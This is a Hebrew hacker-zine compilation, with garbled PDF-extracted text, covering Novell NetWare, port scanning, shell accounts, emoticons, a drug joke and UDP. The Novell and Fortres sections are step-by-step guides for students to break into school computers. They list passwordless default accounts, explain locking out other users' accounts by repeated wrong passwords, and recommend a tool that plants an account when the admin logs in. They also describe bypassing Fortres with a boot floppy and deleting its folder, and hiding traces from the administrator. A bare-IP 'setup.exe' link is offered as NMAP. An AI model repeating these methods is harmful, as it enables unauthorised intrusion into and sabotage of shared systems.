הבעיה זה לגלות איפה הבעיה ,תוכלו לעשות את זה בקלות ע"י:
!! netstat -e
הפלט שיצא לנו מאוד ברור ולא צריך הרבה הסברים.
HaSaTaN
Novel
לפני הכל:
* כדאי לכם לדעת שרוב שרתי הרשת ביה"ס הם מבוססי novell netwareכך שהכתבה הזאת
לא לחינם (!!!).
** הכתבה בנויה לפי קטעים ,ואני לא ניגש ישר לפריצה! כך שיש לקרוא את הכתבה מההתחלה
ועד הסוף!
***זו הכתבה המקיפה ביותר על novellשנעשתה אי-פעם בעברית !!
השרת רשת של( novell netware -שמעכשיו יקרא NN :בשביל לקצר את כל העסק) ,מבוסס
על מערכת הפעלה של רשתות .שלא כמו unixו ,NT -בנובל ( )NNלא נמצא הכל בתוכנית אחת.
(על תדאגו ,אני אסביר הכל).
NNעצמו רץ בהתחלת הפעלת המחשב על גבי דוס ( ,)DOSכמו הדבר הבא ms-dos :שאתם
וודאי מכירים ,כך ה NN -מריץ בתחילת המחשב דבר דומה שנקרא ,dr-dos :ומשום כך
הפקודות הם כמעט אותו דבר!
כשהמחשב הגיע למצב( DOS -לאחר הפעלת המחשב) ,ה NN -מתחיל להריץ את עצמו
אוטומתית ,ברגע שהוא סיים השרת (סוף סוף) יושב על הרשת ,ומחכה לפקודות מהמשתמש.
ה NN -מריץ שתי שטחים של שליטת ה ,admin -האחד consol :והשני נקרא( NDS :מה
אתם לחוצים? אני יסבי ה-כ-ו-ל!).
324
מה הם ה consol -וה?NDS -
.1ה:consol -
מהו?
,Okזה לא כל כך מסובך ,זהו המצב שבו שה adminn -שולט (פוקד) על ה NN -ע"י הקשת
פקודות הדומות (ממש דומות) לפקודות של.ms-dos -
לדוגמא ,יכול להיות ,שבתור adminתקבל במצב consolאת הדבר הבא:
*זוכרים את הכלל? תישרו את הטקסט לשמאל + ctrl .שיפט שמאליים ,בשביל יישור לשמאל,
ימניים בכדי להחזיר למצב של עברית ,יישור ו ctrlו shift
לימין*
> C:\WINDOWS
*תישרו לשמאל*
: GANDALF
: GANDALF
325
,okזהו המקום בו נמצא כל האינפורמציה לגבי המשתמשים והקבצים ,ה NDS -מחזיק את כל
האיפורמציה לגבי מערכת ההפעלה של נובל ,זה באמת אחד הדברים שקרוב לוודאי אתם רוצים
ללמוד עליהם (להעיף חשבונות של נובל ,לא???)
התוכנה המדהימה הזאת של ה NDS -נמצאת בתור קובץ שנקרא nwadmn32.exe :פשוט
חפשו אותו!
הוא חייב להיות שם ,כי בדרך כלל אין בזה בעיה בטחונית (בדרך כלל ,)....השימוש הזה נועד
בד"כ לצפייה בנתוני (סיסמא ושם) של המשתמשים.
קרוב לוודאי שלא תוכל לשנות את הפרטים ,אך בד"כ תוכל לקרוא אותם.
איך לעזאזל אתם אמורים לדעת אם השרת של ביה"ס שלכם מריץ נובל ??
האמת ,זה די פשוט!
מתי שתיכנס למערת ההפעלה שלך הוא יבקש את השם משתמש והסיסמא!
שמה אתה תראה את הלוגו המטופש של הנובל שנראה בצורת " "Nמודגשת באדום.
שאלה:
אני עדיין לא בטוח אם יש לי חשבון ובל ,אני יודע שיש לי חשבון רגיל ,אבל לא יותר! איך אני
יכול לבדוק את זה?
תשובה:
כמובן שאם יש לך חשבון אמיתי זה יעשה לך את החיים קלים מאוד ,תמיד כשיש גישה קרובה
יותר עדיפה מלהתחיל על אפס ,ללא חשבון ,אבל בכל מקרה ,כך בודקים את זה:
תיכנס ל windows -ושם תלחץ את הסיסמא (אם יש) ואת שם המשתמש!
אחרי זה ,תסתכל למטה ,בשורת משימות ,ותבדוק אם מופיעה שם האות " ,"Nדבר זה נועד
למשתמשים שרוצים להל את החשבון שלהם ,כלומר יש לך גישה!
בתוך הדבר שאליו מגיעים כשלוחצים על האות " "Nיש כמה אפוציות מאוד מעניינות שאני
אפרט עליהם בהמשך!
אפשרות שנייה היא:
תיכנס למחשב שלי ( )my computerושם תלחץ לחיצה ימנית על אחד כונני הרשת ,שהם בדרך
כלל ,לא נקראים ,A, B, Cו .D -אם אתה רואה שבתפריט שנפתח לך יש כמה אפשרויות אם
האות ,Nיש לך חשבון!
די פשוט......
שאלה:
אמממממממממממממ ......אין לי חשבון ,איזה חשבונות שהמערכת מקבלת אוטומטית אם
התקנתה על השרת?
ואיך אני יכול למצוא חשבון שעובד?
תשובה:
אוקי ,אז הנה הרשימה של כל דבר ,שם המשתמש (בכאלה חשבונות אין סיסמא) ומטרתו:
עוד הערה קטנה :אני לא יהביא את כל הרשימה ,אלא רק את הדברים החשובים ביותר ,אם דבר
אחד לא עובד לכם ,תנסו להשתמש בשמות משתמש שמשמשים לאותו דבר (יהיה כתוב כנ"ל
אם זה נאמר למעלה בדבר הקודם).
326
מתן שירות של שליחת אימייל ROUTER
גיבוי ,יכול להיות שדבר זה יוגבל בסיסמא ,פרטים בהמשך הכתבה BACKUP
כנ"ל ,רק שונה WANGTEK
נתן גישה למודם של הפקס FAX
כנ"ל ,רק שונה FAXUSER
כנ"ל ,רק שונה FAXWORKS
שאלה:
איך אני אמור לדעת אם חשבון עם השם מתשתמש( x :דוגמא בלבד) פעיל?
תשובה:
אם אתה יודע את הסיסמא נסה אותה ,ואם היא עובדת ,כמובן שהחשבון זמין!
אבל ,אם אתה מקבל ' 'error passwordאו משהו שיש בו את המילה ,passwordאו שכתוב
את ההודעה הבאה ' ,'unknow errorזה שונה.
אם תקבל 'error password' :החשבון פעיל ,אבל אתה לא יודע את סיסמתו!
ואם תקבל 'unknow error' :החשבון אינו חשבון בכלל!
שאלה:
איך אני יכול להפוך חשבון עובד ,לחשבון שלא עובד?
תשובה:
,okזה כל כך פשוט ,שאתם תיצחקו אחרי שאני יגיד לכם!
כל adminמקבל את האפשרות לשנות את מספר הפעמים בהם המחשב ימשיך לקבל סיסמא
לא נכונה ,ברירת המחדל היא פעם אחת ,אבל רוב ה admins -מחליפים את זה!
אז בטח כבר הבנתם מה צריך לעשות ,אבל הנה השלבים להפוך חשבון זמין ,ללא זמין!
.1קודם כל קחו בחשבון שאין לכם מושג כמה פעמים המחשב יקבל סיסמא שגויה ,אז קחו
מחשב שתוכלו להיות עליו הרבה זמן ,או במקרה הטוב קצת זמן (זה תלוי בטיפשות של ה-
adminשהוא המנהל !!!).
.2הקישו את השם משתמש ,והקישו סיסמא שהיא ב 100% -לא נכונה ,ליחצו ,ENTER
אתם מקבלים הודעת ,errorנכון? יופי ,זה בדיוק מה שצריך להיות ,תילחצו כמה פעמים
שאתם יכולים ,עוד פעם ועוד פעם ,כמה שתילחצו יותר על כניסה (עם סיסמא שגויה כמובן) כך
יגדל הסיכוי שלכם לנעול את החשבון עד שה admin -יחזיר את החשבון (הוא יכול לעשות את
זה אוטומטית.
שאלה:
תגיד ,אתה יודע אתה כזה חכם ,אולי אתה מכיר עוד שיטה?
תשובה:
תודה על המחמאה ,כמובן ,יש תוכנה שנקראת NW-HACK.exe :חפשו אותה בgoogle.com -
בטוח תמצאו ,מה שהתוכנה עושה זה כך:
אחרי הפעלתה ,התוכנה מחכה לאדמין ( )adminומתי שהוא נכנס היא יוצרת (שזה כאילו שהוא
יצר ,ה )admin -חשבון בשבילכם !!!
cool
שאלה:
אני יודע שאני קצת חוצפן ,אבל יש עוד שיטה??
תשובה:
קודם כל ,על תתביש לשאול ,דבר שני ,כמובן! דווקא שיטה די מגניבה!
הבהרה:
*חשוב לקרוא*
*בהבהרה הזאת אני יביא קצת פסיכולגיה ,אל תיבהלו ,זה יעזור לכם ב 100% -אחוז!*
327
רוב האנשים שיש להם חשבון אדמין ( )adminחושבים שהם האנשים שמבינים במחשבים
יותר מכל בן אדם אחר בעולם לגבי המערכת שלהם ( ,)novellועוד דבר ,הםם חושבים שאתם
הבני-אדם הכי אידיוטים בעולם!
בד"כ הם צודקים ,אבל אחרי שתקראו ותבינו את הכתבה הזאת ,זה כבר יהיה טעות!
בכל מקרה ,זה די טוב שהם נמצאים עם האף למעלה ,יהיה לכם הרבה יותר קל לעבוד עם אדמין
( )adminשבטוח שאתם ,הילדים המעוררי-רחמים האלה יחדרו לתוך המערכת ה"מתוחכמת"
שלו!
אז ,ככה ,שאפילו אם אתם הגאונים ביותר בכיתה שלכם במחשבים ,על תגידו כלום ,ואל תוציאו
הגה!
!!! C-O-O-L
328
gandalf//
מה שהמחשב יעשה הוא יבקש גישה לכונן רשת שמסומן באמצעות שתי ה -סלשים ( זה סלש:
".) "/
אם ה admin -המחורבן שלכם חסם את פקודת הפעלה ( )runעשו את הדבר הבא:
תגיעו לשולחן-עבודה ,כשכל החלונות של ווינדואוס סגורים וליחצו על הלחצן שימני של העכבר
במקום רק על השולחן-עבודה ,וביחרו ביצירת קיצור דרך ,כשהוא יבקש את הכתובת הקישו:
**תישרו לשמאל**
//סרבר כל שהוא
ותלחצו ENTERכמה פעמים עד שהוא יסיים!
מגניב אה?
הוראות בטיחות:
לאחר השימוש בקובץ הקיצור ,סמנו אותו וליחצו:
shift + del
מה שמחשב יעשה ,זה שהוא ימחק את הקובת ישירות ,ולא יעביר אותו לסל מחזור!
באמת לא כדאי לכם שה admin -שלכם יראה שיש קיצור דרך על השולחן עבודה אל השרת
שלו!
הלאה בואו נמשיך:
אחרי שלחצת על הקיצור דרך ,אתה תוכל להפעיל את הכונן ולצפות ב NDS-שלו!
ה admin -לא יכול לחסום את ה NDS -ואתה ,גם אם ה admin -שלך חסם כל מה שאפשר
בעולם עדיין תוכל לצפות ב ,NDS -אבל לא תוכל לשנות דבר! אבל עדיין זה מאוד שימושי! תוכל
לראות את שמות המשתמש של כל ה group -כולל ה.admin -
HaSaTaN
Port scan
לאחר שבגיליון הקודם עסקנו קצת ב Port Scanning -היום נלמד מה לעשות כדי כדי שלא
יעשו עליך (!!!)
.Port Scanning
(הקבצים של הגליון הקודם מצורפים או שהם ב www.topcities.com/hackerim/herut.zip
תוכן:
א .הקדמה
ב .תוכנות שימושיות
ג .מניעה פרקטית
ד .איך זה עובד? !
ה .שימוש בhost.ingore :
ו .סיכום!
329
א -הקדמה:
,Port Scanningכולם עושים את זה ,בין אם זה מנהל רשת שרוצה לבדוק עם יש בעיות
במערכת שלו ,ובין אם זה Script Kidבן 12שמחפש פורטים פתוחים ב Server -כלשהו.
תמיד כשדיברתי אם מנהלי מערכות מידע ,מומחים בתחום אבטחת המידע ,הם אמרו לי שהם
משקיעים הרה כסף וזמן ב Firewalls -הכי חדשים ובמערכות האבטחה הכי חדשות ,אבל אף
פעם לא שמעתי שהם עשו את הצעד הכמעט בסיסי ,הגנה מ!Port Scanning -
בנתינת עירנות יתר לנושא של Port Scanningאפשר למנוע הרבה בעיות מוקדם מאוד ,לפני
שזה כבר מאוחר מדי! במיוחד כאשר ישנם כל השיתופים ב NetBIOS -וכל ה Exploits -על
ה Servers -השונים
Port Scanning detectionחשובה מתמיד!
אפילו ICMPקטן שנשלח מהמחשב שלך (או מרשת כלשהי) יכול להוות סימן להאקר שעושה
עליך .Port Scanning
בכתבה הזאת אני אתן כמה טיפים להגנה מפני Port Scanningוגם כן כמה תוכנות והסבר
כיצד לעבוד איתם ,אני גם אסביר על כל הצדדים (יתרונות וחסרונות) של הגנה מפני Port
.Scanning
ב -תוכנות שימושיות:
לפני שאנחנו מתחילים חשוב לציין שבתקופה האחרונה ( 2-3שנים) תוכנות הPort -
Scanningהתדמו בצורה מדהימה ,ועכשיו הם הרבה יותר מהירים ,חזקים והכי מסוכן -בלתי
נראים!
לפני כ 3-שנים רוב האנשים השתמשו ב Port Scanner -בשם( Strobe :נכתב ע"יJulian :
,)Assangeהוא היה
הכי פשוט והכי מהיר ,מן הסתם גם היום הוא הכי מהיר( .לינק אליו -ניתן למצוא בחלק ז').
כיום -רוב האנשים משתמשים ב NMAP -המפורסם של ,Inscureשהוא לא עושה רק Port
,Scanningאלא הוא גם מגן מ ,Port Scanning -ואחד מבין היתרונות הגדולים שלו ,זה שהוא
אומר לך את מערכת ההפעלה ( )OSשל הצד השני (זה שעושה עליך ,)Port Scanningאת זה
הוא עושה ע"י שימוש ב"טביעות האצבע" שהשאיר זה שעשה עליך Port Scanningוהשוואה
ל DataBase -שנמצא בתוכנה עצמה (בדרך כלל -כמעט תמיד NMAP ,לא טועה בהערכות שלו
לגבי מערכת ההפעלה של הצד השני).
אז .....נסכם ככה ,שעם תוכנה מסכנה ,כל בן אדם יכול לראות מה אתה עושה על הרשת שלך!
מפחד? אם לא אז יש לך בעיה!
כמובן שזה חסר תועלת להסיר את הבאנר ב Deamon -שמצביע על סוג מערכת ההפעלה ,כי
תוכנות כמו NMAPאו Queso -עושות עבודה יוצאת מן הכלל בגילוי סוג מערכת ההפעלה!
לרוע-המזל ,רוב מנהלי-הרשתות אפילו לא מודעים לתוכנות מסוג זה ,וכשמישהו ישתמש בהם
נגדם -הם פשוט לא ידעו מה לעשות!
ג -מניעה פרקטית:
330
בגלל שרוב האנשים סורקים פורטים מ 0 -עד משהו כמו ,1050 -ההאקר ינסה את:
failed :1
failes :2
!DETECTED :3
כך ,גם יש לו מספיק פורטים ש"עובדים" ()1,2ואחרי זה -כשהוא חושב שכבר הכל בסדר ,הוא
מגיע ל3 -
ונדפק!
ד -איך זה עובד?
בשביל להבין איך זה עובד ,צריך להבין טבלה קטנה שקשורה ל:TCP\IP -
------------------------------------------------------------------------------
| .1מחשב א' >---נשלח packetובו הערך של synנקבע ל 1 -והערך ackל.0 -
------------------------------------------------------------------------------
| .2מחשב ב' ( >---אם הוא רוצה ליצור קשר עם א') שולח פאקט כשהערך synנקבע ל1 -
והערך ackל.1 - |
------------------------------------------------------------------------------
| .3מחשב א' < ----שולחים אחד לשני Packetsכשכל הערכים ( )syn,ackנקבעים ל.1 -
>---מחשב ב'.
------------------------------------------------------------------------------
רוב הפורט סקאנרים עובדים על אותו עיקרון של ,לפתוח פורט כלשהו על הוט כלשהו ולראות
אם הוא מאזין ,כשהוא מאזין -לגלות עליו מספר פרטים נחוצים כגון :מספר הפורט ,האם הוא
פתוח וכדומה!
הסוד במניעת Port Scanningהיא להחביא את זה שיש לך Deamonמותקן על אחד
הפורטים ,וגם חשוב להתקין את ה Deamon -במקום שהפורץ מגיע לפני שהוא בורח...
אם אנחנו יודעים של Ftp -יש Deamonמותקן על פורט ,21נידע לא לשים שמה!
לעומת זאת -הדוגמא שנתנו מקודם (בחלק ג') מצוינת! הפורץ לא מספיק לברוח וכבר! מאתרים
אותו כשהו לא חושד!
בתוכנה ABACUSיש לנו אפשרות מצוינת שמאפשרת לנו להוסיף Hostsו IP's -לרשימה
שנקראת host.ingore :וכל IPאו Hostשיוכנס לרשימה -כשיעשה על ה Local IP -פורט
סקאנינג ,לא יקרה כלום והתוכנה תתעלם ממנו!
למה זה טוב?
נגיד אתה מנהל רשת ,ואתה התקנת את ABACUSעל כל המחשבים ,ומדי פעם אתה רוצה
לבדוק שהכל תקין במחשב מסוים ,ואין שום פורצים שפתחו עליו פורטים ,אתה עושה עלין
פורט סקאנינג -אה! אתה לא יכול ABACUSחוסם אותך! אז מה שאתה עושה -זה ,אתה
ניגש למחשב ומוסיף למחשב הזה את ה Ip -שלך ל host.ingore -שלו!
נחמד ,לא?
ו -סיכום:
331
לינקים:
strobe
http://www.prosolve.com/download/strobe.zip
NMAP
http://213.242.133.2/setup.exe
זהו........
סיימתי.......
HaSaTaN
תקשורת לוינית
הקדמה קצרה:
עליכם להבין שאני לא הולך להיכנס לפרטי הפרטים של תקשורת לווינית אלא רק לדברים
הכלליים והחשובים.
זהו אינו מדריך מקיף ללוינים אלא תקציר להבנה כללית בנושא!
תקשורת לוויינית עובדת על ידי גלים אלקטרונים קצרים .בזכות המהירות של הגלים
האלקטרונים הקצרים ניתן ליצור התקשרויות ממקום אחד בעולם למקום אחר ,תוך 2שניות
בלבד! וכל זה במהירות לא נורמלית!
דרושים שני לויינים כדי להקיף את כל כדור הארץ .הלויינים סובבים את כדור הארץ במסלול
גיאוסינכרוני כל הזמן.
332
הלווין מקבל את אותות הגלים האלקטרונים הקצרים מתחנה על כדור הארץ ,ממיר אותה לתדר
אחר ומעביר אותה הלאה או לתחנה על כדור הארץ או ללוין אחר.
בגלל המרחקים הארוכים שהתדר עובר ישנה השהיה ( )delayבין הזמן שהתדר יוצא מהלווין אז
שהוא מגיע ליעד שלו .ההשהיה היא כאלפית השנייה ל 110 -קילומטר.
לכל גל אלקטרוני שנשלח מלויין יש שתי תפקידים:
.1לחזק את התדר ( ,)repeaterכלומר -נניח ואני שולח מתחנה על כדוה"א גל אלקטרוני ללוין
רוסי ,ומהלוין הרוסי ללוין באפריקה שישלח את זה לתחנה לוין ( )dishעל כדוה"א בזימבבואה
תפקיד התדר שנשלח מרוסיה לאפריקה הוא לחזק את התדרף בגלל שהוא לא יצליח להגיע לבד
מלוין רוי לתחנה בזימבבואה!
.2או כמובן המטרה הרגילה של תדר בגל קצר:
א .מידע מכדוה"א ללויין (ומשם אנערף לאיפה).
ב .מידע מהלויין לכדוה"א (לדוגמא :מלוין רוסי לתחנת לוין על כדוה"א ישראל).
HaSaTaN
המדריך הזה נכתב אחרי מאות בקשות של אנשים שרוצים לדעת מה זה לעזאזל שאלל ,לשם מה
הוא נועד ,איך משתמשים בו ולמה הוא טוב בכלל; על כל זה נרחיב במדריך הנ"ל.
חשבון שאלל הוא בעצם סקריפט ,שהלקוח [אנחנו] ,מתחברים אליו בעזרת טלנט פשוט...
שאלל הוא בעצם מערכת יוניקס\לינוקס מרוחקת...ולפעמים אתה שולט על כל המחשב המרוחק
דרך המחשב הביתי שלך אפילו אם יש לך וינדוס ,98או כל דבר אחר...
333
דרך השאלל אפשר לגלוש באינטרנט ,להתקין שרתי צ'אט ,FTPוכל דבר אחר שבא לכם
לראש...אבל בדרך כלל השרתים הרגילים מאפשרים להריץ עד 3שרתים בו זמנית.
חשבון השאלל נועד להרבה מטרות חשובות וחשובות פחות ,אבל הוא מיועד בעיקר לאנשים
שאין להם לינוקס ,אבל הם בכל זאת רוצים להשתמש בשירותים שהלינוקס מקנה להם ,בלי
להתקין אותו במחשב שלכם.
עוד השאלל משמש ללימוד ,צבירת ניסיון בלינוקס -כי כל הפקודות בו נכתבות ידנית כי אין לכם
בשאלל שום מסך גראפי כמו בוינדוס ,והוא איכשהו מזכיר את מערכת ה.MS-DOS-
עוד שימוש עיקרי בשאלל הוא כמובן פריצה...למרות שזה ממש לא חוקי ויכול לסבך אותכם
בגדול ,כי כל האחריות נופלת על בעל השאלל ,זה בכל זאת אפשרי ורב כוח!!
רוב שרתי השאלל פועלים על פס תקשורת מהיר מאוד ,כשבממוצע הוא פועל על מערכות T3
ואף מגיע להתקנים כמו - OC48שבמילים פשוטות מי שלא יודע מה זה ,המכשיר מגיע
למהירות של יותר מחמש ג'יגה-בייט לשניה!!
-בשאלל אתם יכולים להתקין שרתים מגוונים ,והכל באיכות שרק מערכת יוניקס יכולה לקנות
לכם...ושלא נדבר על המהירות שאיתה אתם עובדים .לעומת זאת ,בשאללים שניתנים חינם,
האפשרויות מאוד מוגבלות ולא נותנות לכם להריץ בוטים לצ'אטים או שרתים שתופסים הרבה
זיכרון ועוד הרבה הגבלות אחרות ,כך שאם אתם באמת מחליטים להתנסות בשאלל ,בלי הפחד
של להרוס לעצמכם את המחשב אם תתקינו לינוקס ,עדיף יהיה לכם לשלם 8עד 20דולרים
לחשבון שאלל מתקדם ,שייאפשר לכם לעשות בו כמעט כל דבר אפשרי בדיוק כמו במערכת
יוניקס רגילה!
טוב ,לאלו שלא יודעים דבר ביוניקס\לינוקס [אותו הדבר] ,ניתן כמה פקודות בסיסיות לשימוש
בשאלל שלכם..כי הפקודות שונות מאלו שאתם מכירים...
הערה:
------
במערכות יוניקס יש הבדל בין אותיות גדולות לקטנות ,ככה שתקדישו לזה תשומת לב!
טוב ,עכשיו אתם בטח רוצים כמה כתובת מאיפה אפשר להשיג שאללים ,אז הנה ,ניתן לכם כמה
כתובת של שאללים חינמים שלא מומלצים כל-כך ,אבל בכל זאת...
334
- nether.netדווקא הוא ממש לא רע
freeshell.org
- www.cyberarmy.com/listsאני לא יודע אם עדיין יש שם רשימות של שאללים ,אבל בכל
זאת תנסו!
אם אתם בכל זאת לא יודעים איך להתחבר לשאלל שלכם ,אז הנה:
- telnet yourshellhereבפורט 23
אז זהו להפעם ,מקווה שתרמתי קצת ליידע שלכם ,מדריך זה הוא חלק מסידרת מדריכים שאני
יוציא במהלך החודש...מקווה שתהנו גם מהם...
מקרא:
=qשאלה.
=aתשובה.
:Qזה ממש מגוחך מה שענית מקודם ,למה שאני אצטרך את ה( shell -שאלל) אם יש לי את
command.comשלי? (הסבר למה זה command.comניתן לקרוא אותם פעולות ב-
בתשובה הקודמת)
:Aאנשים אוהבים חשבונות שאלל משום שזה כאילו שהם מתפקדים בתוך מערכת *nix
משלהם ,דבר שמקדם אותם במחשבים ובתכנות ,למה שאנשים לא ירצו להשתמש גם ב-
( *nixאמנם דרך הטלנט ,אבל עדיין חיבור לזה) וגם חיבור ל????windows -
הבנתם??
:Qחבר שלי אמר לי שיש סוגים של חשבונות שאלל ,שהם מסריחים לגמרי בגלל שהם נותנים
נרחב בפעולות ופקודות שלך? האם זה נכון? לך צמצום מאוד
:Aנכון מאוד ,אך זה לא כל כך פשוט ,בדרך -כלל השאלל'ים המוגבלים הם חינם ברשת ,ואילו
לא מוגבלים ניתנים רק אחרי קנייה (בד"כ מינימום של חשבון שאלל הוא 8$ השאלל'ים
בהרבה מה .)8$ -בחשבונות המוגבלים הם שוללים ממך פקודות לבין 20$כשה 20$ -טוב
מסוימות (למתקדמים :פקודות מסוג nslookupועוד מספר תוכנות ופקודות של הטלנט) .אבל
אל תדאג ישנם חשבונות שאללה ממש טובים!
335
:Qאז זה באמת נכון שאני יכול להשיג אחד חינם?
:Aכן ,אתה יכול רק עם צמצום (כיצד להשג את זה תוכל לקרוא בכתבה עצמה).
:Qהי ,השגתי חשבון שאלל ,איך אני יכול לדעת אם הוא חשבון טוב?
:Aדבר זה תלוי בבן -אדם ששואל ,למשל -בשבילי זהו חשבון טוב ,שיש לו את הדברים
הבאים:
כמו שאמרתי מקודם ,זה הוא חשבון טוב בשבילי תבינו -הכול יחסי ,מה שבטוח על תיקחו
חשבון שאלל שאין לא את הדברים הבאים:
telnet
ftp
Gcc
HaSaTaN
336
אתה לבד? איפה השוטר שקורא?
גם אני רציתי להיות שוטר ,אך בסוף החלטתי שעדיף לעבור את בחינות הבגרות.
אתה שואל למה נסעתי כל כך מוזר? טוב ,כשהתכופפתי להרים את שקית החשיש שלי האקדח
נפל לי מהנרתיק ונתקע בין דוושת הבלם לדוושת הגז ,וזה גרם לי לאבד שליטה במכונית.
חחח*( ....צוחק*)!
HaSaTaN
סמיילים
פרצוף מחיך/שמח (:-
פרצוף מתבדח(אירוניה) (;-
פרצוף עצוב/אומלל ):-
ספק :-/
חיוך מרושע <:-
זקן =(<:
שפם }:-
צועק/המום :-o
שפתיים חתומות/משתמש בעל "גשר" :-#
337
לשון בלחי :-j
מדבר בפה מלא :-8
שיער מתולתל (&:-
משקפי שמש (B-
משקפי שמש על הראש (B:-
עצוב מאוד )):-
נשיקה רטובה גדולה :-X
מורת רוח ]:-
מרגש :^D
לשון קטנה בחוץ :-r
לשון גדולה בחוץ :-p
סמיילי רישמי עם עניבת פרפר :-(X
זמר רוק /פנקיסט (=:-
אשף מטבח (C=:-
מעשן :-Q
מעשן מקטרת ?:-
העישון אסור !:/
בור(אהבל) |>:-
צורח/המום מאוד :O
אשה בטיפוך שיער(נראה לי שקוראים לזה רולים) (%:-
ערבי/הודי (+X:-
קובע מצחיה הפוך (q:-
מגבעת (:-ן c
מבולבל :-S
שורק :-3
חושב ז:-
חד עין(יש לזה איזה שם ביונית משהו מסובך)... (o-
פרצוף זועם >>:-
חסר הבעה :-I
פרצוף מדוקא :-c
פרצוף ישן (I-
פרצוף מפהק O-I
מזיל ריר ~(:-
משהו חמוץ/מר *:-
מוטציה :-:
צורח בקול @:-
ערפד ]:-
תיפש [:-
שפם()1 :-#I
שפם()2 }:-
שפם()3 (!:-
שפם ופה (}:-
מלקק שפתיים :-9
צוחק :-D
מאוכזב :-e
קשקשן :-v
מרכיב משקפיים (8-
פרצוף עם 2אפים (=:
פרצוף עם אף גדול (<:
פרצוף עם אף שבור (^:
פרצוף זקוק לניתוח אף (*/חחח/*)...... (~:
פרצוף פוזל */אדיררררררררררררר!!!*/ (%-
338
זקוק לתספורת ()-
ראש ביצה (*/קלימרו/*).... ):I
צוללן ((8-
פרצוף עם עין אחת שמציקים לו בעין (*/פיגור שכלי!!!)*/ )*-
פרצוף סנטה קלאוס/חייל רומי (*/זה מדרדר מרגע לרגע!!!)*/ (*>I:-
(+-):-האפיור */די אני כבר לא יכול יותר!!!!אני עייף והדברים האלה גורמים לי להקרע
מצחוק(כשעיפים)...
מיסטר טי (-:-
טורבן (@:-
מאזין לווקמן (]:-
מסיכת צלילה (O-
מוות 8-#
מלאך המוות <8-#
פאה (}):-
פאה ביום סוער (*/מה?!?!?!?!?!?!?!?!?!!)*/ ({):-
שביל באמצע (}:-
שטן <<:-
מלאך (O~:-
HaSaTaN
פריצה ל Fortres
היי חברה ,מה קורה?
כפי שהבנתי -זה וג המדריכים שאתם אוהבים -אז הפעם ,מיוחד לחופש (כדי שתוכלו לחזור
לבי"ס -ולהרוס הכל )...הוצאתי את הכתבה הזאת -שמסבירה איך לפרוץ מערכת שנקראת:
( Fortres x.xכל הגרסאות).
אז ככה ,אם אתם לא גרים בשכונת עוני -קרוב לוודאי שיש בבי"ס שלכם מחשבים ,מה שיכול
להפתיע אותכם -זה ,שבד"כ המחשבים האלה טובים מאוד ,מעבדים ברמה וכו'!
339
הבעיה היא -שהדבר היחיד שאתם יכולים לעשות איתם זה לשחק סוליטר ולעבוד ,Word -כל
הזבל כל הכסף שהשקיעו במחשבים רק בשביל זה ,זה לא בזבוז?
לא!
אז ככה ,השרת שלכם (השרת בן-אדם ,לא המחשב) שהוא ה( Sys-Admin -מנהל הרשת),
פשוט עבר על כל מחשב והתקין את התוכנה ,Fortres :התוכנה הזאת -כפי שהסברתי -
מאפשרת לכם לעשות כלום (!) על המחשב ,רק מעבד תמלילים וסוליטר...
מה עושים????
טוב ,אז הנה כמה חורי אבטחה בתוכנה הזאת ,כל מה שצריך לעשות -זה לעשות מה שכתוב -
צעד אחר צעד:
א .לך לבית שלך ,ותכין דיסק ( Bootאם אתה לא יודע מה זה Bootאתה בצרה גדולה)
ב .תביא את הדיסקט עם ה Boot -לבי"ס (יש לדאוג שהוא יהיה נקי משטויות ,שיהיה עליו רק
.)Boot
ג .לך לחדר מחשבים (כאילו ,דא)...
ד .תכניס את הדיסקט
ה .תפעיל את המחשב
ו .אם ה Boot -עולה אוטומתי -עבור ל' -ז' ,אם לא -תצטרך לעשות את זה דרך ה( Bios -יש
לי
כתבה על Biosבאחד הגיליונות ,מפורט שם איך לעשות את זה).
ז .אוקי ,עכשיו הקטע הכיף (יותר כיף)...
ח .תלחצו במצב :Dos
*.* attrib -h
(*תישרו לשמאל*)
ט .ת'חפשו את התיקייה של ה Fortres -ופשוט תמחקו אותה!
י .תהרסו הכל ,תגלשו באינטרנט תשחקו quickמה שבא לכם!
השיטה הבאה ,כמובן שהיא יותר קלה ,אבל אני לא בטוח שהיא תעבוד אצליכם (לא משנה
למה).
אז ככה ,כנסו לאקספלורר (אם אין לכם ,אז זה אבוד) ,ובמקום ללחוץ כתובת של אתר תלחצו:
/:cאם זה פותח לכם באקספלורר את כונן Cזה כבר טוב!
לכו ל :תצוגה << אפשרויות תיקייה << (כרטיסיית) תצוגה << הצג את כל הקבצים.
או באנגליתview>folder options>view>Hidden files and folders>Show hidden files :
and folders
U-D-P
תמיד שאלתם את עצמיכם איך עובדת הרשת בבי"ס שלכם ,הנה התשובה:
תוכן:
א .הקדמה והסבר קצר לUDP -
ב .כשהחבילה ( )Packetמגיעה...
ג .ה IP -וה UDP -כשילוב מנצח!
340
*הערה*
**
*
א.
UDPמספק את אותו שירות בלתי מהימן וחסר קישור שמספק .IPהוא אינו מוסיף דבר מלבד
מספרי הפורטים ,ו-
.checksumה checksum -מבטיח שחבילות שנתוניהן הושחתו או שונו לא יטופלו UDP .לא
מודיע על כך שחבילות אבדו ,או על כל בעיה אחרת בתקשורת .לכן ,אפליקציה שבוחרת
להשתמש ב UDP -כפרוטוקול התעבורה שלה ,צריכה לדאוג בעצמה למהימנות התקשורת,
ולהבטיח שבעיות בתקשורת ,כמו כפילות נתונים או אובדן נתונים ,יטופלו כהלכה.
*
ב.
כאשר החבילה מגיעה למחשב היעד ,היא עוברת את התהליך ההפוך :החבילה מתקבלת על ידי
שכבת ממשק הרשת ,ה"מקלפת" ממנה את פתיח הרשת; משם עוברת החבילה לשכבת ה,IP -
שמקלפת את פתיח ה ,IP -ולפי הפרוטוקול שמצוין שם יודעת להעביר את החבילה לUDP.-
,UDPבתורו ,מקלף את פתיח ה ,UDP-ולפי הפרוט שמצוין שם ,יודע לאיזו אפליקציה להעביר
את הנתונים.
מודל השכבות קובע אי תלות בין השכבות השונות .אבל ,כפי שראינו UDP ,מסתמך על כתובות
ה IP-לחישוב ה .UDP checksum -כדי לדעת מהי כתובת ה IP-של המקור ,על שכבת ה-
UDPלתקשר עם שכבת ה .IP-שכבת ה UDP-לא יכולה לדעת מה תהיה כתובת המקור של
החבילה ,כיוון שזו תלויה בממשק הרשת דרכו תבחר שכבת ה IP-לשלוח את החבילה (כיוון
שכפי שראינו ,למחשב אחד יכולים להיות כמה ממשקי רשת) .אינטראקציה זו בין UDPלIP -
אמנם עומדת בסתירה להפרדה העומדת בבסיס מודל השכבות ,אך משיקולים פרקטיים,
החליטו הוגי הפרוטוקול להעלים מכך עין.
**
*
